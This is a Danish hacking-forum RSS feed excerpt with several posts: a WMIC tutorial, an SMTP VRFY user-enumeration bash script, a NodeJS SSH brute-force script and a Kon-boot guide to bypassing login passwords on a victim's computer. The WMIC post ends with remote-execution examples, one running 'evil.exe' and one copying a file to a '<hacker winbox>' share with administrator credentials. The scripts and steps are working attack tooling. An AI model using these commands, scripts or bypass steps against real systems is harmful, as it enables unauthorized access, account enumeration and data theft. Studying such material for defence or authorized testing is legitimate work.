ExecutablePath=C:\Windows\System32\Wbem\WMIC.exe<br />
<br />
C:\&gt;</blockquote>
<br />
Som altid, kan man se de felter man ønsker. Hvis man vil se det hele, kan man bruge * som et wildcard.<br />
<br />
Man kan også se services med WMI. Her ses den fulde sti til den ekesekverbare fil:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic.exe service GET pathname<br />
PathName<br />
"C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"<br />
C:\Windows\system32\svchost.exe -k netsvcs<br />
"C:\Windows\system32\FBAgent.exe"<br />
C:\Windows\System32\alg.exe<br />
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation<br />
...</blockquote>
<br />
Man kan også se alle services, formateret i en liste:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic.exe service GET * /Format:list<br />
...<br />
AcceptPause=FALSE<br />
AcceptStop=FALSE<br />
Caption=WWAN AutoConfig<br />
CheckPoint=0<br />
CreationClassName=Win32_Service<br />
Description=Denne tjeneste administrerer datakort eller integrerede modulkort for mobile bredbånd (GSM &amp;amp; CDMA) og forbindelser ved at konfigurere netværket a<br />
utomatisk. Det anbefales på det kraftigste, at denne tjeneste bliver ved med at køre for at opnå den bedste brugeroplevelse i forbindelse med mobile bredbåndsenh<br />
eder.<br />
DesktopInteract=FALSE<br />
DisplayName=WWAN AutoConfig<br />
ErrorControl=Normal<br />
ExitCode=1077<br />
InstallDate=<br />
Name=WwanSvc<br />
PathName=C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork<br />
ProcessId=0<br />
ServiceSpecificExitCode=0<br />
ServiceType=Share Process<br />
Started=FALSE<br />
StartMode=Manual<br />
StartName=NT Authority\LocalService<br />
State=Stopped<br />
Status=OK<br />
SystemCreationClassName=Win32_ComputerSystem<br />
SystemName=ASUS<br />
TagId=0<br />
WaitHint=0<br />
...</blockquote>
<br />
Her ses et udvalg af kolonner, formateret som en tabel:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic.exe service GET ProcessId,Caption /Format:table<br />
Caption                                                                 ProcessId<br />
Adobe Acrobat Update Service                                            1860<br />
Application Experience                                                  0<br />
AFBAgent                                                                1224<br />
Gatewaytjeneste til programlaget                                        0<br />
Program-id                                                              0<br />
Programoplysninger                                                      548<br />
...</blockquote>
<br />
Man kan også starte nye processer. Ser ses, hvordan ping startes. Selve outputtet vil poppe op i et nyt kommandoprompt vindue:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\&gt;wmic.exe process call create "ping -t google.dk"<br />
Executing (Win32_Process)-&gt;Create()<br />
Method execution successful.<br />
Out Parameters:<br />
instance of __PARAMETERS<br />
{<br />
        ProcessId = 10476;<br />
        ReturnValue = 0;<br />
};<br />
<br />
C:\&gt;</blockquote>
<br />
Så man man overveje hvad man kan bruge følgende til:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /NODE:&lt;ip&gt; process CALL create “evil.exe”</blockquote>
<br />
Eller måske:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:&gt;wmic /NODE:&lt;ip&gt; /user:”Domain\Administrator” /password:&lt;password&gt; process CALL create “xcopy “C:\\everything.rar” “\\&lt;hacker winbox&gt;\\C&#36;\\everything.rar”</blockquote>
<br />
Man kan også se hvad for noget software, der er installeret på maskinen:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic product list brief<br />
...<br />
Java Auto Updater                                                                {4A03706F-666A-4037-7777-5F2748764D10}  Java Auto Updater<br />
                                         Oracle Corporation          2.8.45.14<br />
Cisco Systems VPN Client 5.0.07.0440                                             {5FDC06BF-3D3D-4367-8FFB-4FAFCB61972D}  Cisco Systems VPN Client 5.0.07.0440<br />
                                         Cisco Systems, Inc.         5.0.7<br />
ASUS Power4Gear Hybrid                                                           {9B6239BF-4E85-4590-8D72-51E30DB1A9AA}  ASUS Power4Gear Hybrid<br />
                                         ASUS                        1.1.44<br />
SDFormatter                                                                      {179324FF-7B16-4BA8-9836-055CAAEE4F08}  SDFormatter<br />
                                         SD Association              4.0.0<br />
<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Eller de ting, der starter automatisk på maskinen:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic startup list brief<br />
Caption                      Command                                                                                     User<br />
Sidebar                      %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun                                         NT AUTHORITY\LOKAL TJENESTE<br />
Sidebar                      %ProgramFiles%\Windows Sidebar\Sidebar.exe /autoRun                                         NT AUTHORITY\NETVÆRKSTJENESTE<br />
TeraTerm Menu                TeraTerm Menu.lnk                                                                           asus\xxxx<br />
...<br />
IgfxTray                     "C:\Windows\system32\igfxtray.exe"                                                          Public<br />
HotKeysCmds                  "C:\Windows\system32\hkcmd.exe"                                                             Public<br />
Persistence                  "C:\Windows\system32\igfxpers.exe"                                                          Public<br />
iTunesHelper                 "C:\Program Files\iTunes\iTunesHelper.exe"                                                  Public<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Oversigt over partitioner:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic partition get name,bootable,size,type<br />
Bootable  Name                   Size          Type<br />
FALSE     Disk #0, Partition #0  26842497024   Installable File System<br />
TRUE      Disk #0, Partition #1  223213707264  Installable File System<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Oversigt over diskdrev:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic diskdrive get name,size,model<br />
Model                   Name                Size<br />
Samsung SSD 840 Series  \\.\PHYSICALDRIVE0  250056737280<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Informationer om netkort:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\system32&gt;wmic nic get macaddress,description<br />
Description                                                   MACAddress<br />
WAN Miniport (SSTP)<br />
WAN Miniport (IKEv2)<br />
WAN Miniport (L2TP)<br />
WAN Miniport (PPTP)<br />
WAN Miniport (PPPOE)<br />
WAN Miniport (IPv6)<br />
WAN Miniport (Network Monitor)<br />
Qualcomm Atheros AR9002WB-1NG Wireless Network Adapter        74:2F:68:9C:7A:30<br />
WAN Miniport (IP)<br />
VirtualBox Host-Only Ethernet Adapter                         08:00:27:00:70:E1<br />
RAS Async Adapter<br />
Apple Mobile Device Ethernet<br />
VirtualBox Bridged Networking Driver Miniport<br />
Microsoft ISATAP-netværkskort<br />
Atheros AR8151 PCI-E Gigabit Ethernet Controller (NDIS 6.20)  14:DA:E9:C4:9F:21<br />
Deterministic Network Enhancer Miniport<br />
Microsoft Teredo Tunneling-adapter<br />
...<br />
Deterministic Network Enhancer Miniport                       12:8C:20:52:41:53<br />
Cisco Systems VPN Adapter for 64-bit Windows<br />
Deterministic Network Enhancer Miniport<br />
VirtualBox Bridged Networking Driver Miniport                 14:DA:E9:C4:9F:21<br />
VirtualBox Bridged Networking Driver Miniport                 74:2F:68:9C:7A:30<br />
Microsoft ISATAP-netværkskort<br />
<br />
C:\Windows\system32&gt;</blockquote>
<br />
Man kan også bruge WMIs prompt, ved at skrive "wmic" uden noget andet.<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;wmic<br />
wmic:root\cli&gt;partition get name,bootable,size,type<br />
Bootable  Name                   Size          Type<br />
FALSE     Disk #0, Partition #0  26842497024   Installable File System<br />
TRUE      Disk #0, Partition #1  223213707264  Installable File System<br />
<br />
wmic:root\cli&gt;exit<br />
<br />
C:\Windows\System32&gt;</blockquote>
<br />
<br />
<br />
Links:<br />
<a href="http://en.wikipedia.org/wiki/Windows_Management_Instrumentation" target="_blank" rel="noopener" class="mycode_url">http://en.wikipedia.org/wiki/Windows_Man...umentation</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Test af valide brugere via SMTP og VRFY fra linux bash]]></title>
			<link>https://www.shellsec.pw/traad-test-af-valide-brugere-via-smtp-og-vrfy</link>
			<pubDate>Mon, 18 May 2015 17:16:51 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-test-af-valide-brugere-via-smtp-og-vrfy</guid>
			<description><![CDATA[Hvis man har brug for at teste om en bruger har en mailkonto på en given mail server, kan man bruge nedenstående script til at teste om brugeren findes.<br />
<br />
Scriptet kaldes med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>./mailusers.sh users.txt mail.example.com &gt; valid.txt</blockquote>
<br />
Filen users.txt har en liste af formodede gyldige brugernavne. Måske er disse gættet, rippet fra en hjemmeside, fundet med TheHarvester, eller lign.<br />
<br />
mail.example.com er den mailserver man ønsker at teste op i mod.<br />
Outputtet bliver sendt til filen "valid.txt".<br />
<br />
<pre class="line-numbers"><code class="language-bash">#!/bin/bash<br />
# Kaldes med ./mailusers.sh &lt;userlist&gt; &lt;mailserver&gt; &gt; output.txt<br />
<br />
for user in &#36;(cat &#36;1);<br />
    do<br />
    echo "vrfy &#36;user" | nc -q 2 &#36;2 25 | grep "^252 " | cut -f3 -d" " &amp;<br />
    done<br />
</code></pre>
<br />
mailusers.sh skal selvfølgelig gøres eksekverbar med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>&#36; chmod u+x mailusers.sh</blockquote>
<br />
Jeg håber nogen kan bruge det. Det er sådan set ret simpelt.<br />
Når scriptet er forbundet til mail serveren med netcat på port 25, udsteder det en "vrfy &lt;brugernavn&gt;".<br />
Hvis brugeren findes, giver mail serveren en returkode "252", hvilket betyder at brugeren findes og hvis brugeren ikke findes, gives en returkode "550".]]></description>
			<content:encoded><![CDATA[Hvis man har brug for at teste om en bruger har en mailkonto på en given mail server, kan man bruge nedenstående script til at teste om brugeren findes.<br />
<br />
Scriptet kaldes med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>./mailusers.sh users.txt mail.example.com &gt; valid.txt</blockquote>
<br />
Filen users.txt har en liste af formodede gyldige brugernavne. Måske er disse gættet, rippet fra en hjemmeside, fundet med TheHarvester, eller lign.<br />
<br />
mail.example.com er den mailserver man ønsker at teste op i mod.<br />
Outputtet bliver sendt til filen "valid.txt".<br />
<br />
<pre class="line-numbers"><code class="language-bash">#!/bin/bash<br />
# Kaldes med ./mailusers.sh &lt;userlist&gt; &lt;mailserver&gt; &gt; output.txt<br />
<br />
for user in &#36;(cat &#36;1);<br />
    do<br />
    echo "vrfy &#36;user" | nc -q 2 &#36;2 25 | grep "^252 " | cut -f3 -d" " &amp;<br />
    done<br />
</code></pre>
<br />
mailusers.sh skal selvfølgelig gøres eksekverbar med:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>&#36; chmod u+x mailusers.sh</blockquote>
<br />
Jeg håber nogen kan bruge det. Det er sådan set ret simpelt.<br />
Når scriptet er forbundet til mail serveren med netcat på port 25, udsteder det en "vrfy &lt;brugernavn&gt;".<br />
Hvis brugeren findes, giver mail serveren en returkode "252", hvilket betyder at brugeren findes og hvis brugeren ikke findes, gives en returkode "550".]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Simpel Bruteforce test]]></title>
			<link>https://www.shellsec.pw/traad-simpel-bruteforce-test</link>
			<pubDate>Sat, 28 Mar 2015 02:11:04 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-simpel-bruteforce-test</guid>
			<description><![CDATA[Brug denne simpel test til at se om din server tager forhold til bruteforcing.<br />
Scriptet kræver NodeJS, og bibliotek: simple-ssh og randomstring, som kan installeres via <span style="font-style: italic;" class="mycode_i">npm install simple-ssh</span> og <span style="font-style: italic;" class="mycode_i">npm install randomstring</span><br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>/* <br />
Use this test for seeing the important logs of bruteforce attacks in /var/log/auth.log .<br />
Please use this on own risk!! If your linux box got the security, you might get banned from your own linux box. <br />
<br />
Use this as a tester for auto-blocking robots that are trying to bruteforcing into your SSH.<br />
<br />
libraries used: simple-ssh and randomstring.<br />
*/ <br />
<br />
var SSH = require('simple-ssh');<br />
var randomstring = require("randomstring");<br />
<br />
var triedOut = [];<br />
var theRandomVariable;<br />
<br />
var arrayContains = function(pRandomString){<br />
&nbsp;&nbsp;&nbsp;&nbsp;var i = triedOut.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while (i--) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (triedOut[i] === pRandomString) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return false;<br />
}<br />
<br />
var getRandomPassword = function(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;theRandomVariable = randomstring.generate(12);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(arrayContains(theRandomVariable)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log("Exists in array " + theRandomVariable);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getRandomPassword();<br />
&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return randomstring.generate(12);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
var startSSH = function(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;var aRandomPassword = getRandomPassword();<br />
&nbsp;&nbsp;&nbsp;&nbsp;var ssh = new SSH({<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host: '&lt;&lt; HOST IP &gt;&gt;',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port: '&lt;&lt; HOST PORT / DEFAULT 22 &gt;&gt;',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user: '&lt;&lt; HOST USER / DEFAULT ROOT &gt;&gt;',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass: aRandomPassword,<br />
&nbsp;&nbsp;&nbsp;&nbsp;});<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ssh.exec("ls", {<br />
&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;out: function(stdout) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log(stdout);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log("Got in! Used password: " + aRandomPassword);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}).start();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ssh.on('error', function(err) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log('Did not get in.');<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log('Tried out: ' + aRandomPassword);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log(err);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(aRandomPassword !== undefined){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;triedOut.push(aRandomPassword);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh.end();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;startSSH();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log(triedOut.length);<br />
&nbsp;&nbsp;&nbsp;&nbsp;});<br />
}<br />
<br />
startSSH();</code></div></div><br />
Hvis du har nogen forslag, ændringer eller bare +1 postcount, så skriv løs :)]]></description>
			<content:encoded><![CDATA[Brug denne simpel test til at se om din server tager forhold til bruteforcing.<br />
Scriptet kræver NodeJS, og bibliotek: simple-ssh og randomstring, som kan installeres via <span style="font-style: italic;" class="mycode_i">npm install simple-ssh</span> og <span style="font-style: italic;" class="mycode_i">npm install randomstring</span><br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>/* <br />
Use this test for seeing the important logs of bruteforce attacks in /var/log/auth.log .<br />
Please use this on own risk!! If your linux box got the security, you might get banned from your own linux box. <br />
<br />
Use this as a tester for auto-blocking robots that are trying to bruteforcing into your SSH.<br />
<br />
libraries used: simple-ssh and randomstring.<br />
*/ <br />
<br />
var SSH = require('simple-ssh');<br />
var randomstring = require("randomstring");<br />
<br />
var triedOut = [];<br />
var theRandomVariable;<br />
<br />
var arrayContains = function(pRandomString){<br />
&nbsp;&nbsp;&nbsp;&nbsp;var i = triedOut.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp;while (i--) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (triedOut[i] === pRandomString) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return true;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;return false;<br />
}<br />
<br />
var getRandomPassword = function(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;theRandomVariable = randomstring.generate(12);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(arrayContains(theRandomVariable)){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log("Exists in array " + theRandomVariable);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getRandomPassword();<br />
&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return randomstring.generate(12);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
var startSSH = function(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;var aRandomPassword = getRandomPassword();<br />
&nbsp;&nbsp;&nbsp;&nbsp;var ssh = new SSH({<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;host: '&lt;&lt; HOST IP &gt;&gt;',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;port: '&lt;&lt; HOST PORT / DEFAULT 22 &gt;&gt;',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user: '&lt;&lt; HOST USER / DEFAULT ROOT &gt;&gt;',<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pass: aRandomPassword,<br />
&nbsp;&nbsp;&nbsp;&nbsp;});<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ssh.exec("ls", {<br />
&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;out: function(stdout) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log(stdout);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log("Got in! Used password: " + aRandomPassword);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;}).start();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ssh.on('error', function(err) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log('Did not get in.');<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log('Tried out: ' + aRandomPassword);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log(err);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(aRandomPassword !== undefined){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;triedOut.push(aRandomPassword);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ssh.end();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;startSSH();<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;console.log(triedOut.length);<br />
&nbsp;&nbsp;&nbsp;&nbsp;});<br />
}<br />
<br />
startSSH();</code></div></div><br />
Hvis du har nogen forslag, ændringer eller bare +1 postcount, så skriv løs :)]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[Begynder] Bypass let Windows og OS X account passwords]]></title>
			<link>https://www.shellsec.pw/traad-begynder-bypass-let-windows-og-os-x</link>
			<pubDate>Wed, 07 Jan 2015 17:50:17 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-begynder-bypass-let-windows-og-os-x</guid>
			<description><![CDATA[Hej, jeg faldt over dette smarte værktøj her for nyligt og selvom mange af jer nok kender det i forvejen ville jeg lige dele en guide med jer til hvordan det fungerer.<br />
<br />
<span style="text-decoration: underline;" class="mycode_u">Bemærk det er en af mine første tutorials så hvis layoutet eller lign. er forkert undskylder jeg!</span><br />
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Krav:</span></span><br />
Adgang til ofrets computer, fysisk!<br />
Et USB stik, SD kort, CD eller lign.<br />
Den rigtige version af Kon-boot<br />
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Hvad er kon-boot?</span></span><br />
Kon-boot er værktøjet vi kommer til at bruge.<br />
Det er et værktøj det udskifter passwordet på ofrets computer med et tomt felt, altså trykker du bare ENTER og så er du inde.<br />
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Hvordan får man kon-boot?</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
Der er 4 versioner af konboot til 4 forskellige cases.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 1:</span><br />
Gratis kon-boot.<br />
Denne version er til fri download og jeg vil anbefale i tester den før i smider penge efter programmet! Denne version fungerer ikke med Windows 8 og kun 32-bit systemer.<br />
<br />
Den gratis version kan hentes <a href="https://www.dropbox.com/s/f5i4g9vlmwoxrtp/kon-boot1.1-free.zip" target="_blank" rel="noopener" class="mycode_url"><span style="text-decoration: underline;" class="mycode_u">HER</span></a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 2:</span><br />
Windows kon-boot.<br />
Denne version koster &#36;15 og bypass'er alle Windows computeres password.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 3:</span><br />
OS X kon-boot<br />
Denne version koster &#36;15 og bypass'er alle OS X (Mac) computeres password.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 4:</span><br />
Kon-boot 2 in 1<br />
Denne version koster &#36;26 og bypass'er både Windows og OS X (Mac) computeres password.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 2-4 kan købes på Kon-boot's officielle hjemmeside:</span><br />
<a href="http://www.piotrbania.com/all/kon-boot/" target="_blank" rel="noopener" class="mycode_url">http://www.piotrbania.com/all/kon-boot/</a></div></div>
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Klargør Kon-boot</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
Kon-boot har en forskelligt opsætningsprocess alt efter hvad du vil installere det på, i denne guide vil jeg vise jer hvordan i gør med USB.<br />
<br />
Værktøjet jeg bruger til at installere .ISO filen til mit USB stick er <a href="http://www.isotousb.com/" target="_blank" rel="noopener" class="mycode_url">http://www.isotousb.com/</a> det er gratis og meget nemt at bruge.<br />
<a href="https://www.youtube.com/watch?v=4ub5Sqe0-O4" target="_blank" rel="noopener" class="mycode_url"><span style="text-decoration: underline;" class="mycode_u">HER</span></a> er en video guide til hvordan man bruger ISO to USB.<br />
<br />
Når du har Kon-boot på dit usb er du klar til at teste det.</div></div>
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Brug af Kon-boot</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
Nu er du klar til at  teste kon-boot og alt efter hvilken version du har af kon-boot og hvilken computer du tester på.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">På windows:</span><br />
Sæt usb stikket i din eller dit "offers" computer og vælg boot priority til dit USB, CD, SD kort etc.<br />
<br />
Ved du ikke hvordan du gør det kan du se en graf her:<br />
<a href="https://craftedflash.com/info/how-boot-computer-from-usb-flash-drive" target="_blank" rel="noopener" class="mycode_url">https://craftedflash.com/info/how-boot-c...lash-drive</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">På OS X (Mac)</span><br />
Tryk på venste alt når computeren booter og vælg at boote fra navnet på din eksterne enhed.<br />
<br />
Nu skulle din computer gerne boote fra din eksterne enhed og du burde nu se dette på skærmen:<br />
<img src="http://www.instructables.com/files/orig/FHN/KG3Z/GYCSRI4U/FHNKG3ZGYCSRI4U.jpg" alt="[Billede: FHNKG3ZGYCSRI4U.jpg]" class="mycode_img" /><br />
<span style="font-weight: bold;" class="mycode_b">Bemærk - Farven ændres hver gang du booter!</span><br />
<br />
Når Kon-boot splash skærmen forsvinder kan du bare indtaste et tomt password altså, trykke ENTER og så burde du være inde! - Computeren bliver normal igen når du tager usb'et ud og genstarter.</div></div>
<br />
Har du problemer så smid en kommentar eller en PM, så vil jeg se hvad jeg kan gøre :)<br />
<br />
//Serty]]></description>
			<content:encoded><![CDATA[Hej, jeg faldt over dette smarte værktøj her for nyligt og selvom mange af jer nok kender det i forvejen ville jeg lige dele en guide med jer til hvordan det fungerer.<br />
<br />
<span style="text-decoration: underline;" class="mycode_u">Bemærk det er en af mine første tutorials så hvis layoutet eller lign. er forkert undskylder jeg!</span><br />
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Krav:</span></span><br />
Adgang til ofrets computer, fysisk!<br />
Et USB stik, SD kort, CD eller lign.<br />
Den rigtige version af Kon-boot<br />
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Hvad er kon-boot?</span></span><br />
Kon-boot er værktøjet vi kommer til at bruge.<br />
Det er et værktøj det udskifter passwordet på ofrets computer med et tomt felt, altså trykker du bare ENTER og så er du inde.<br />
<br />
<span style="color: #1E90FF;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Hvordan får man kon-boot?</span></span><br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
Der er 4 versioner af konboot til 4 forskellige cases.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Version 1:</span><br />
Gratis kon-boot.<br />
Denne version er til fri download og jeg vil anbefale i tester den før i smider penge efter programmet! Denne version fungerer ikke med Windows 8 og kun 32-bit systemer.<br />
<br />
